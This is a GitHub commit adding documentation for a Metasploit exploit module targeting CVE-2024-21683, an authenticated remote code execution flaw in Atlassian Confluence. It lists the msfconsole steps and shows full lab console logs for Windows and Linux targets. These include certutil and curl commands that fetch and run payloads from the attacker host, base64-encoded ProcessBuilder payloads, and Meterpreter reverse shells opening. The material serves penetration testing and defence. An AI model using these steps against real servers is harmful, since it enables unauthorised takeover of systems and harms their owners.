Skip to content

Commit 06da60c

Browse files
remmons-r7remmons-r7
authored
Adding atlassian_confluence_rce_cve_2024_21683 documentation
Adding CVE-2024-21683 documentation, which includes both Windows and Linux examples.
1 parent 745bb9c commit 06da60c

File tree

1 file changed

+133
-0
lines changed

1 file changed

+133
-0
lines changed

‎documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md

Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
## Vulnerable Application
2+
This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,
3+
tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating
4+
tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will
5+
authenticate, validate user privileges, extract the underlying host OS information, then trigger
6+
remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions
7+
up to 8.9.0.
8+
9+
## Testing
10+
Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download-archives).
11+
By default, Confluence serves an HTTP service on TCP port 8090. This module was tested against four Confluence installs:
12+
Linux and Windows Confluence hosts running two different versions, 8.9.0 and 7.20.2. The target host operating systems
13+
were Ubuntu 22.04 and Server 2022.
14+
15+
## Verification Steps
16+
Note: Disable Defender if you are using the default payloads.
17+
18+
Steps:
19+
1. Start msfconsole
20+
2. `use exploit/multi/http/atlassian_confluence_rce_cve_2024_21683`
21+
3. `set RHOST 192.168.156.131`
22+
4. `check`
23+
5. `set LHOST 192.168.156.129`
24+
6. `set ADMIN_USER admin`
25+
7. `set ADMIN_PASS Password123!`
26+
8. For Windows targets, `set FETCH_COMMAND CERTUTIL` is recommended. For Linux targets, `set FETCH_COMMAND CURL` is recommended.
27+
9. `exploit`
28+
29+
## Options
30+
31+
### ADMIN_USER
32+
33+
The known Confluence administrator username.
34+
35+
### ADMIN_PASS
36+
37+
The known Confluence administrator password.
38+
39+
## Scenarios
40+
41+
### Windows Target
42+
```
43+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
44+
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
45+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin
46+
ADMIN_USER => admin
47+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123!
48+
ADMIN_PASS => Password123!
49+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set LHOST 192.168.156.129
50+
LHOST => 192.168.156.129
51+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CERTUTIL
52+
FETCH_COMMAND => CERTUTIL
53+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_SRVHOST 192.168.156.129
54+
FETCH_SRVHOST => 192.168.156.129
55+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.131
56+
RHOSTS => 192.168.156.131
57+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check
58+
[*] 192.168.156.131:8090 - The target appears to be vulnerable. Exploitable version of Confluence: 7.20.2
59+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true
60+
VERBOSE => true
61+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run
62+
63+
[*] Command to run on remote host: certutil -urlcache -f http://192.168.156.129:8080/h2Wbt3lK1eTiVRc3SNDL1w %TEMP%\iYgswSHqZU.exe & start /B %TEMP%\iYgswSHqZU.exe
64+
[*] Fetch handler listening on 192.168.156.129:8080
65+
[*] HTTP server started
66+
[*] Adding resource /h2Wbt3lK1eTiVRc3SNDL1w
67+
[*] Started reverse TCP handler on 192.168.156.129:4444
68+
[*] Running automatic check ("set AutoCheck false" to disable)
69+
[+] The target appears to be vulnerable. Exploitable version of Confluence: 7.20.2
70+
[*] Successfully authenticated to Confluence
71+
[*] The provided user is an administrator
72+
[*] Secure Administrator Sessions enabled - elevating session
73+
[*] Grabbed elevation CSRF token: a8fc89e32b0baa5f6d72247e614e37bdf11c33c4
74+
[*] Administrator session has been elevated
75+
[*] Target returned the operating system string 'Windows Server 2022 10.0'
76+
[*] Grabbed macro CSRF token: de21269d58ebd338bed3a2bd15a4c54fe321785b
77+
[*] Crafted ProcessBuilder payload string: new java.lang.ProcessBuilder("cmd.exe", "/c", new java.lang.String(java.util.Base64.getDecoder().decode('Y2VydHV0aWwgLXVybGNhY2hlIC1mIGh0dHA6Ly8xOTIuMTY4LjE1Ni4xMjk6ODA4MC9oMldidDNsSzFlVGlWUmMzU05ETDF3ICVURU1QJVxpWWdzd1NIcVpVLmV4ZSAmIHN0YXJ0IC9CICVURU1QJVxpWWdzd1NIcVpVLmV4ZQ=='))).start()
78+
[*] Sending POST request to trigger code execution
79+
[*] Client 192.168.156.131 requested /h2Wbt3lK1eTiVRc3SNDL1w
80+
[*] Sending payload to 192.168.156.131 (Microsoft-CryptoAPI/10.0)
81+
[*] Client 192.168.156.131 requested /h2Wbt3lK1eTiVRc3SNDL1w
82+
[*] Sending payload to 192.168.156.131 (CertUtil URL Agent)
83+
[*] Sending stage (201798 bytes) to 192.168.156.131
84+
[*] Meterpreter session 1 opened (192.168.156.129:4444 -> 192.168.156.131:51064) at 2024-07-09 10:19:08 -0500
85+
86+
meterpreter > getuid
87+
Server username: SRV01\Administrator
88+
meterpreter > pwd
89+
C:\Program Files\Atlassian\Confluence\bin
90+
meterpreter >
91+
```
92+
93+
### Linux Target
94+
```
95+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin
96+
ADMIN_USER => admin
97+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123!
98+
ADMIN_PASS => Password123!
99+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.133
100+
RHOSTS => 192.168.156.133
101+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check
102+
[*] 192.168.156.133:8090 - The target appears to be vulnerable. Exploitable version of Confluence: 8.9.0
103+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CURL
104+
FETCH_COMMAND => CURL
105+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true
106+
VERBOSE => true
107+
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run
108+
109+
[*] Command to run on remote host: curl -so ./UyvwIjHwXcB http://192.168.156.129:8080/zR2OIDxwf8sUzl-Aq0rIXg; chmod +x ./UyvwIjHwXcB; ./UyvwIjHwXcB &
110+
[*] Fetch handler listening on 192.168.156.129:8080
111+
[*] HTTP server started
112+
[*] Adding resource /zR2OIDxwf8sUzl-Aq0rIXg
113+
[*] Started reverse TCP handler on 192.168.156.129:4444
114+
[*] Running automatic check ("set AutoCheck false" to disable)
115+
[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.9.0
116+
[*] Successfully authenticated to Confluence
117+
[*] The provided user is an administrator
118+
[*] Target returned the operating system string 'Linux 6.5.0-41-generic'
119+
[*] Grabbed macro CSRF token: 671809d94b9274550326b77f1618381188952a53
120+
[*] Crafted ProcessBuilder payload string: new java.lang.ProcessBuilder("/bin/sh", "-c", new java.lang.String(java.util.Base64.getDecoder().decode('Y3VybCAtc28gLi9VeXZ3SWpId1hjQiBodHRwOi8vMTkyLjE2OC4xNTYuMTI5OjgwODAvelIyT0lEeHdmOHNVemwtQXEwcklYZzsgY2htb2QgK3ggLi9VeXZ3SWpId1hjQjsgLi9VeXZ3SWpId1hjQiAm'))).start()
121+
[*] Sending POST request to trigger code execution
122+
[*] Client 192.168.156.133 requested /zR2OIDxwf8sUzl-Aq0rIXg
123+
[*] Sending payload to 192.168.156.133 (curl/7.81.0)
124+
[*] Transmitting intermediate stager...(126 bytes)
125+
[*] Sending stage (3045380 bytes) to 192.168.156.133
126+
[*] Meterpreter session 1 opened (192.168.156.129:4444 -> 192.168.156.133:60308) at 2024-07-09 10:40:32 -0500
127+
128+
meterpreter > getuid
129+
Server username: confluence
130+
meterpreter > pwd
131+
/atlassian-confluence-8.9.0
132+
meterpreter >
133+
```

0 commit comments

Comments
 (0)